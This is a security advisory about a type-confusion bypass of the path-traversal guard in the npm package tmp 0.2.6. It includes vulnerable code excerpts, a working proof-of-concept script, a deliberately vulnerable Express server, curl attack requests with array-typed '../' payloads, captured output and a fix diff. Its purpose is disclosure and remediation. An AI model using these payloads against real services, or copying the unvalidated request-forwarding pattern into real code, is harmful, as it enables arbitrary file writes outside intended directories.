tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template

Summary

The _assertPath guard added to tmp@0.2.6 rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges.

This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion.

Impact

• Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions.
• Directory creation outside the intended tree (via tmp.dir{,Sync}), which can then host a subsequent symlink swap.
• File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.

Affected versions

tmp >= 0.2.6 (the _assertPath guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.

Vulnerable code

lib/tmp.js at tag v0.2.6, commit 41f7159:

// lib/tmp.js:533-539
function _assertPath(path) {
  if (path.includes("..")) {
    throw new Error("Relative value not allowed");
  }

  return path;
}

// lib/tmp.js:577-580
options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);

// lib/tmp.js:515-525  - opts.prefix and opts.postfix are stringified by Array.prototype.join
const name = [
  opts.prefix ? opts.prefix : 'tmp',
  '-',
  process.pid,
  '-',
  _randomChars(12),
  opts.postfix ? '-' + opts.postfix : ''
].join('');

return path.join(tmpDir, opts.dir, name);

Root cause: _assertPath assumes its argument is a string. For an Array argument, Array.prototype.includes('..') checks element equality (so ['../escape'].includes('..') is false); for an arbitrary object, Object.prototype.includes does not exist and a duck-typed includes: () => false defeats the check entirely. In both shapes, the subsequent [...].join('') and path.join(...) coerce the value to its underlying string, which still contains ../.

How untrusted data reaches _assertPath

Two production-realistic shapes that yield a non-string prefix/postfix/template:

1. JSON request bodies. express.json() (and any other JSON body parser) preserves the parsed value's type. A body of {"prefix":["../escape"]} reaches the handler as an Array.
2. qs-style bracket-array query strings. Express 4's default qs parser turns ?prefix[]=../escape into ['../escape']. The same applies to any framework using qs (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).

The consumer pattern is the natural one - forward req.body.prefix directly into tmp.file({ prefix, tmpdir }) with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.

Proof of concept (string vs array)

poc.js (run after npm install tmp@0.2.6):

const tmp = require('tmp');
const path = require('path');
const fs = require('fs');

const baseDir = fs.mkdtempSync('/tmp/safe-base-');

console.log('[negative control] string "../escape" - must be blocked');
try {
  const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' });
  console.log('  UNEXPECTED, file at:', r.name);
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED as expected:', e.message);
}

console.log('\n[bypass] array ["../escape"] - same effective value, not blocked');
try {
  const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] });
  console.log('  CREATED at:', r.name);
  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED:', e.message);
}

console.log('\n[bypass] duck-typed object {toString, includes} - also not blocked');
try {
  const r = tmp.fileSync({
    tmpdir: baseDir,
    prefix: { toString: () => '../escape', includes: () => false }
  });
  console.log('  CREATED at:', r.name);
  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED:', e.message);
}

Observed output on tmp@0.2.6:

[negative control] string "../escape" - must be blocked
  BLOCKED as expected: Relative value not allowed

[bypass] array ["../escape"] - same effective value, not blocked
  CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn
  ESCAPED: true

[bypass] duck-typed object {toString, includes} - also not blocked
  CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf
  ESCAPED: true

End-to-end reproduction (against the deployed npm package)

Install:

mkdir tmp-bypass-poc && cd tmp-bypass-poc
npm init -y
npm install tmp@0.2.6 express@5

victim-server.js - realistic Express app that forwards a JSON body field into tmp.file:

const express = require('express');
const tmp = require('tmp');
const fs = require('fs');
const path = require('path');

const app = express();
app.use(express.json());

const TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-');
console.log('[victim] Tenant base dir:', TENANT_BASE);

app.post('/upload', (req, res) => {
  const userPrefix = req.body.prefix;  // attacker-controlled
  console.log('[victim] received prefix:', JSON.stringify(userPrefix),
              '(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');

  tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => {
    if (err) {
      console.log('[victim] tmp error:', err.message);
      return res.status(400).json({ error: err.message });
    }
    fs.writeSync(fd, 'attacker-controlled-content');
    fs.closeSync(fd);
    const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));
    console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);
    res.json({ filepath, escaped, tenantBase: TENANT_BASE });
  });
});

app.listen(3000, () => console.log('[victim] http://127.0.0.1:3000'));

Run:

node victim-server.js &

Drive three requests from another shell:

echo '=== ATTACK 1: string prefix - caught by 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":"../escape-string"}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../escape-array"]}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 3: multi-level traversal toward /etc ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../../../etc/poc-tmp-bypass"]}' http://127.0.0.1:3000/upload

Captured transcript (verbatim from the test rig):

=== ATTACK 1: string prefix - caught by 0.2.6 ===
{"error":"Relative value not allowed"}

=== ATTACK 2: array prefix - bypasses 0.2.6 ===
{"filepath":"/private/tmp/escape-array-79635-gEFyGCBNFSTh","escaped":true,"tenantBase":"/tmp/tenant-base-3XHwPZ"}

=== ATTACK 3: multi-level traversal toward /etc ===
{"error":"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'"}

Server log:

[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ
[victim] received prefix: "../escape-string" (type: string )
[victim] tmp error: Relative value not allowed
[victim] received prefix: ["../escape-array"] (type: array )
[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true
[victim] received prefix: ["../../../etc/poc-tmp-bypass"] (type: array )
[victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'

Observations:

• ATTACK 1 (string ../escape-string) is rejected at _assertPath. The 0.2.6 guard works for plain strings.
• ATTACK 2 (array ["../escape-array"]) passes the guard and creates a file at /private/tmp/escape-array-..., outside the tenant base /tmp/tenant-base-3XHwPZ. The file content is attacker-controlled-content. Confirmed with ls:

$ ls -la /tmp/escape-array-*
-rw-------@ 1 rick  wheel  27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh
$ cat /tmp/escape-array-*
attacker-controlled-content
$ ls -la /tmp/tenant-base-3XHwPZ/
total 0
drwx------ 2 rick  wheel   64 May 27 20:25 .

Tenant base is empty. The escape is complete.

• ATTACK 3 (array ["../../../etc/poc-tmp-bypass"]) reaches fs.open for /etc/poc-tmp-bypass-.... The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.

Negative control with patched build

Applying the suggested fix below and re-running ATTACK 2:

=== ATTACK 2: array prefix - after fix ===
{"error":"prefix option must be a string, got \"object\"."}

The patched build rejects non-string prefix/postfix/template with a clear type error before the path is constructed.

Suggested fix

Patch _assertPath to require a string argument. The check value.includes('..') is sound only over strings; any non-string with a custom or array-element includes semantics bypasses it.

--- a/lib/tmp.js
+++ b/lib/tmp.js
@@ -528,11 +528,14 @@ function _generateTmpName(opts) {
 /**
- * Check the prefix and postfix options
+ * Check the prefix, postfix, and template options
  *
  * @private
  */
-function _assertPath(path) {
-  if (path.includes("..")) {
+function _assertPath(option, value) {
+  if (typeof value !== 'string') {
+    throw new Error(`${option} option must be a string, got "${typeof value}".`);
+  }
+  if (value.includes("..")) {
     throw new Error("Relative value not allowed");
   }

-  return path;
+  return value;
 }
@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {
   options.unsafeCleanup = !!options.unsafeCleanup;

   // for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to
-  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
-  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
-  options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
+  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);
+  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);
+  options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);
 }

Defence-in-depth, recommended in addition to the type check: validate the final resolved path against tmpdir after _generateTmpName, similar to what _getRelativePath already does for dir and template. That way any future bypass through a different vector (e.g., a future Node path change, or a different option) does not exit tmpdir.

Fix PR

https://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1

Credit

Reported by tonghuaroot.